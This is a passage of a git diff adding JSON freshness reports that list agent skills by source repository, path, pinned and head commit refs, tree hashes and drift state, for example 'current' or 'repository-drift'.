"5ea273ae511d5fc02eedeb0afe55c11c0712d65a", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "search-first", + "source": "affaan-m/ECC", + "path": "skills/search-first", + "status": "trial", + "pinned_ref": "2b6e839771e53096d8451a213d40dc64ec8acac0", + "head_ref": "c70874fae9eb0e5ad0365beb7e2955899fd1d30f", + "pinned_tree": "89e0ce14188958a85fbfc7ae0bdc30a0dc9681e1", + "head_tree": "3ac0daf42ee5c7d0cbe28c399f02ff057283b889", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "2b6e839771e53096d8451a213d40dc64ec8acac0", + "native_check_advances_commit_pin": false + }, + { + "name": "security", + "source": "OpenHands/extensions", + "path": "skills/security", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "17f0062e8f675bce2b5c4d3d6ffb30a6e94017d6", + "head_tree": "17f0062e8f675bce2b5c4d3d6ffb30a6e94017d6", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "security-best-practices", + "source": "openai/skills", + "path": "skills/.curated/security-best-practices", + "status": "trial", + "pinned_ref": "49f948faa9258a0c61caceaf225e179651397431", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "pinned_tree": "349d45885fd3e432e7d0e5c6e21a2a712db158ef", + "head_tree": "349d45885fd3e432e7d0e5c6e21a2a712db158ef", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "49f948faa9258a0c61caceaf225e179651397431", + "native_check_advances_commit_pin": false + }, + { + "name": "security-threat-model", + "source": "openai/skills", + "path": "skills/.curated/security-threat-model", + "status": "trial", + "pinned_ref": "49f948faa9258a0c61caceaf225e179651397431", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "pinned_tree": "455ed2d898ef7d1e8836898f07be3a7d2c3f38d2", + "head_tree": "455ed2d898ef7d1e8836898f07be3a7d2c3f38d2", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "49f948faa9258a0c61caceaf225e179651397431", + "native_check_advances_commit_pin": false + }, + { + "name": "semgrep", + "source": "trailofbits/skills", + "path": "plugins/static-analysis/skills/semgrep", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "7503c4bec67cbe758ee488a2bd4caaf618facbfb", + "head_tree": "32c70e1f8ab600ce747ae84821f987ae05242c60", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "setup-agents-md", + "source": "OpenHands/extensions", + "path": "plugins/onboarding/skills/setup-agents-md", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "4699322855418d8df34d0c8e0d61042d267ff026", + "head_tree": "4699322855418d8df34d0c8e0d61042d267ff026", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "setup-openhands", + "source": "OpenHands/extensions", + "path": "plugins/onboarding/skills/setup-openhands", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "160dd94a55fb88d883a3f7b576378a0140e26a7a", + "head_tree": "160dd94a55fb88d883a3f7b576378a0140e26a7a", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "setup-pr-review", + "source": "OpenHands/extensions", + "path": "plugins/onboarding/skills/setup-pr-review", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "fa20714069063b154a9afc08c21bbb6acbc2817c", + "head_tree": "fa20714069063b154a9afc08c21bbb6acbc2817c", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "skill-creator", + "source": "anthropics/skills", + "path": "skills/skill-creator", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "3cf9a8db32597ba3e24b584a3d696f4e11c7d7b6", + "head_tree": "3cf9a8db32597ba3e24b584a3d696f4e11c7d7b6", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "slack-channel-monitor", + "source": "OpenHands/extensions", + "path": "skills/slack-channel-monitor", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "d3dfabd9f8790f45e6a15274510050817dd6d0da", + "head_tree": "d3dfabd9f8790f45e6a15274510050817dd6d0da", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "slack-standup-digest", + "source": "OpenHands/extensions", + "path": "skills/slack-standup-digest", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "9e7ff432df4f3610aaf5628503b8e69122fe119e", + "head_tree": "9e7ff432df4f3610aaf5628503b8e69122fe119e", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "spark-version-upgrade", + "source": "OpenHands/extensions", + "path": "skills/spark-version-upgrade", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "1fade147a86861825148668e9157b8078a45b32b", + "head_tree": "1fade147a86861825148668e9157b8078a45b32b", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "ssh", + "source": "OpenHands/extensions", + "path": "skills/ssh", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "3faad5282472c8b5ccb6ecdef8ef3c5e0f64251d", + "head_tree": "3faad5282472c8b5ccb6ecdef8ef3c5e0f64251d", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "subagent-driven-development", + "source": "obra/superpowers", + "path": "skills/subagent-driven-development", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "5d44ced88725298e847c62c67a726dcc29e20d00", + "head_tree": "5d44ced88725298e847c62c67a726dcc29e20d00", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "supply-chain-risk-auditor", + "source": "trailofbits/skills", + "path": "plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "954cc68e05e24a2a14447b60d1e8946b53323b1b", + "head_tree": "954cc68e05e24a2a14447b60d1e8946b53323b1b", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "swift-linux", + "source": "OpenHands/extensions", + "path": "skills/swift-linux", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "60790b9ebdbbf4794cc5614e999f08b8b90bce88", + "head_tree": "60790b9ebdbbf4794cc5614e999f08b8b90bce88", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "systematic-debugging", + "source": "obra/superpowers", + "path": "skills/systematic-debugging", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "9a48dfda84bf339cba4b03fd803ba0dca2e158e3", + "head_tree": "9a48dfda84bf339cba4b03fd803ba0dca2e158e3", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "tdd", + "source": "mattpocock/skills", + "path": "skills/engineering/tdd", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "79288be15c67b849f22b6572056601090fd20913", + "head_tree": "bf1bf5ffcd63aa8abce830f2955a853c121fb463", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "technical-writing", + "source": "OpenHands/extensions", + "path": "skills/technical-writing", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "c3d06b8ed68fbdff5c19d8e03ffba2de2530b081", + "head_tree": "c3d06b8ed68fbdff5c19d8e03ffba2de2530b081", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "test-driven-development", + "source": "obra/superpowers", + "path": "skills/test-driven-development", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "847144cf0824095922c0d4875648b9fa74877e1a", + "head_tree": "847144cf0824095922c0d4875648b9fa74877e1a", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "theme-factory", + "source": "OpenHands/extensions", + "path": "skills/theme-factory", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "8942a4f915c681dbc62047d4bfa11f998738ecb0", + "head_tree": "8942a4f915c681dbc62047d4bfa11f998738ecb0", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "ticket-to-code-change", + "source": "OpenHands/extensions", + "path": "skills/ticket-to-code-change", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "062c50c64ebe0b86de3adda752208dd8b3539d49", + "head_tree": "062c50c64ebe0b86de3adda752208dd8b3539d49", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "to-java-migration", + "source": "OpenHands/extensions", + "path": "plugins/cobol-modernization/skills/to-java-migration", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "e5bc7457ba29e05f0abdedb957f6121dd15e795e", + "head_tree": "e5bc7457ba29e05f0abdedb957f6121dd15e795e", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "to-spec", + "source": "mattpocock/skills", + "path": "skills/engineering/to-spec", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "136b9651747cfccbfbb7c50a6b0dfb757e7547d2", + "head_tree": "136b9651747cfccbfbb7c50a6b0dfb757e7547d2", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "to-tickets", + "source": "mattpocock/skills", + "path": "skills/engineering/to-tickets", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "b32c94e5a51c24ee9c41fcb7fe9ea9fff9af6369", + "head_tree": "b32c94e5a51c24ee9c41fcb7fe9ea9fff9af6369", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "typesafe-ai", + "source": "typesafe-ai/skills", + "path": "skills/typesafe-ai", + "status": "trial", + "pinned_ref": "65a39f393687675ce170e6094757de20370365b9", + "head_ref": "65a39f393687675ce170e6094757de20370365b9", + "pinned_tree": "678c375b883794bf4292715a43acbba5c84681aa", + "head_tree": "678c375b883794bf4292715a43acbba5c84681aa", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "65a39f393687675ce170e6094757de20370365b9", + "native_check_advances_commit_pin": false + }, + { + "name": "upstream-fork-sync", + "source": "OpenHands/extensions", + "path": "skills/upstream-fork-sync", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "2dbfcf26ede4df1236f2d5882defc39b639d2574", + "head_tree": "2dbfcf26ede4df1236f2d5882defc39b639d2574", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "using-git-worktrees", + "source": "obra/superpowers", + "path": "skills/using-git-worktrees", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "d2b8357b922667a091bfe967840abf5ae84ce99c", + "head_tree": "d2b8357b922667a091bfe967840abf5ae84ce99c", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "using-superpowers", + "source": "obra/superpowers", + "path": "skills/using-superpowers", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "4c777432715fe58984d212a36aedc6a18472e512", + "head_tree": "4c777432715fe58984d212a36aedc6a18472e512", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "uv", + "source": "OpenHands/extensions", + "path": "skills/uv", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "35be5b0352ad8f5cba3b92b3fbb6162b260e9a24", + "head_tree": "35be5b0352ad8f5cba3b92b3fbb6162b260e9a24", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "variant-analysis", + "source": "trailofbits/skills", + "path": "plugins/variant-analysis/skills/variant-analysis", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "583d7addbf5e04108cc5fece9c99a4d9c6db5ce9", + "head_tree": "583d7addbf5e04108cc5fece9c99a4d9c6db5ce9", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "vercel", + "source": "OpenHands/extensions", + "path": "skills/vercel", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "a1a03f2db71aea8b1a1f8cedea6cfd57963de76b", + "head_tree": "a1a03f2db71aea8b1a1f8cedea6cfd57963de76b", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "vercel-composition-patterns", + "source": "vercel-labs/agent-skills", + "path": "skills/composition-patterns", + "status": "trial", + "pinned_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "head_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "pinned_tree": "bf90d0a4b83ea054653350f9c67f6de235d3a368", + "head_tree": "bf90d0a4b83ea054653350f9c67f6de235d3a368", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "native_check_advances_commit_pin": false + }, + { + "name": "vercel-optimize", + "source": "vercel-labs/agent-skills", + "path": "skills/vercel-optimize", + "status": "trial", + "pinned_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "head_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "pinned_tree": "0901aa3667db7a6e5cc40b213327290bf6556373", + "head_tree": "0901aa3667db7a6e5cc40b213327290bf6556373", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "native_check_advances_commit_pin": false + }, + { + "name": "vercel-react-best-practices", + "source": "vercel-labs/agent-skills", + "path": "skills/react-best-practices", + "status": "trial", + "pinned_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "head_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "pinned_tree": "343db72180d05814949fef7d46be96b5c6ee86b3", + "head_tree": "343db72180d05814949fef7d46be96b5c6ee86b3", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "native_check_advances_commit_pin": false + }, + { + "name": "web-design-guidelines", + "source": "vercel-labs/agent-skills", + "path": "skills/web-design-guidelines", + "status": "trial", + "pinned_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "head_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "pinned_tree": "3116f3e62dbd02b44a598b1aa690d2a8938e8f89", + "head_tree": "3116f3e62dbd02b44a598b1aa690d2a8938e8f89", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "native_check_advances_commit_pin": false + }, + { + "name": "webapp-testing", + "source": "anthropics/skills", + "path": "skills/webapp-testing", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "5ffb7dc66b9fd4c25c3e400a4c00da99a349b714", + "head_tree": "5ffb7dc66b9fd4c25c3e400a4c00da99a349b714", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "writing-for-agents", + "source": "mattpocock/skills", + "path": "skills/productivity/writing-for-agents", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "ad2925850efb8973a72d2e666f7a975f9a2d4a9b", + "head_tree": "ad2925850efb8973a72d2e666f7a975f9a2d4a9b", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "writing-plans", + "source": "obra/superpowers", + "path": "skills/writing-plans", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "cc97fa00eb2ccd4f283e34eb2ba06a48e1e679f7", + "head_tree": "cc97fa00eb2ccd4f283e34eb2ba06a48e1e679f7", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "writing-skills", + "source": "obra/superpowers", + "path": "skills/writing-skills", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "f761162236b19330da62b22ad0da20f5dac7c6ab", + "head_tree": "f761162236b19330da62b22ad0da20f5dac7c6ab", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "xlsx", + "source": "anthropics/skills", + "path": "skills/xlsx", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "fe6471cc9b5b97aae0b576ccb92ffd9b0207589d", + "head_tree": "fe6471cc9b5b97aae0b576ccb92ffd9b0207589d", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + } + ], + "errors": [], + "ok": true +} diff --git a/blueprints/runtime-workers/skills/freshness-20260930.json b/blueprints/runtime-workers/skills/freshness-20260930.json new file mode 100644 index 000000000..4eb839656 --- /dev/null +++ b/blueprints/runtime-workers/skills/freshness-20260930.json @@ -0,0 +1,1940 @@ +{ + "schema_version": 1, + "kind": "runtime_skill_freshness_report", + "checked_at": "2026-09-30T06:51:44.652140+00:00", + "report_only": true, + "cli": { + "pinned": "1.7.0", + "latest": "v1.7.0", + "drift": false + }, + "native_check": { + "executed": false, + "source": "https://github.com/vercel-labs/skills/blob/7407f3893ad4dceab546ac002c3ef806e4000c73/src/cli.ts", + "pinned_version": "1.7.0", + "pinned_ref": "7407f3893ad4dceab546ac002c3ef806e4000c73", + "reason": "check aliases update and can reinstall/remove (the manifest's cli.notes for this pin). Commit refs remain pinned; HEAD comparison is separate. No worker lock or installation was read or changed." + }, + "skills": [ + { + "name": "add-javadoc", + "source": "OpenHands/extensions", + "path": "skills/add-javadoc", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "4fab124ceaaa67a393a674384015158e3f50b100", + "head_tree": "4fab124ceaaa67a393a674384015158e3f50b100", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "agent-browser", + "source": "vercel-labs/agent-browser", + "path": "skills/agent-browser", + "status": "trial", + "pinned_ref": "d01253d9db28d75080e36da3c1c31ef89454731e", + "head_ref": "d01253d9db28d75080e36da3c1c31ef89454731e", + "pinned_tree": "82def67855a0d2aad7794207951820fa5422fdb0", + "head_tree": "82def67855a0d2aad7794207951820fa5422fdb0", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "d01253d9db28d75080e36da3c1c31ef89454731e", + "native_check_advances_commit_pin": false + }, + { + "name": "agent-canvas-environment", + "source": "OpenHands/extensions", + "path": "skills/agent-canvas-environment", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "f86b5b739f7a97afbf53f343beb63824942bcb4d", + "head_tree": "f86b5b739f7a97afbf53f343beb63824942bcb4d", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "agent-creator", + "source": "OpenHands/extensions", + "path": "skills/agent-creator", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "1dd69a47d0bfecf45a52add4cf4081f2afd9bef4", + "head_tree": "1dd69a47d0bfecf45a52add4cf4081f2afd9bef4", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "agent-memory", + "source": "OpenHands/extensions", + "path": "skills/agent-memory", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "7ae7fc4e3658214947c683162df6dce3a910d813", + "head_tree": "7ae7fc4e3658214947c683162df6dce3a910d813", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "agent-readiness-report", + "source": "OpenHands/extensions", + "path": "plugins/onboarding/skills/agent-readiness-report", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "77d14adb7d8da1ff94707b5119800ff32643cab4", + "head_tree": "77d14adb7d8da1ff94707b5119800ff32643cab4", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "agent-sdk-builder", + "source": "OpenHands/extensions", + "path": "skills/agent-sdk-builder", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "7c2ce2de2c2e607e53a4cb9980a2dde6a2a49f9a", + "head_tree": "7c2ce2de2c2e607e53a4cb9980a2dde6a2a49f9a", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "agentic-actions-auditor", + "source": "trailofbits/skills", + "path": "plugins/agentic-actions-auditor/skills/agentic-actions-auditor", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "3c07fa0b66ec665df1b17f5e09ab3e735f627029", + "head_tree": "3c07fa0b66ec665df1b17f5e09ab3e735f627029", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "azure-devops", + "source": "OpenHands/extensions", + "path": "skills/azure-devops", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "dee8b13d0bd7e0a49f6ae17d78fd8f1fc4d1c356", + "head_tree": "dee8b13d0bd7e0a49f6ae17d78fd8f1fc4d1c356", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "bitbucket", + "source": "OpenHands/extensions", + "path": "skills/bitbucket", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "459944c2558e7d82bc70f367c6ba084a276de343", + "head_tree": "459944c2558e7d82bc70f367c6ba084a276de343", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": 